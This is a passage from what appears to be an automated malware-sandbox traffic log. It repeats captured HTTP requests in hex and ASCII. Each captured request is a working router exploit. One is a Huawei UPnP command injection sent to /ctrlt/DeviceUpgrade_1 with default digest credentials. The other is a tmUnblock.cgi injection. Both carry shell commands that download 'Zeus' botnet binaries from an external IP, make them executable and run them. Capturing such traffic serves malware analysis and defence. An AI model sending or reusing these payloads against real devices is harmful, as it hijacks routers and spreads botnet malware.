65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
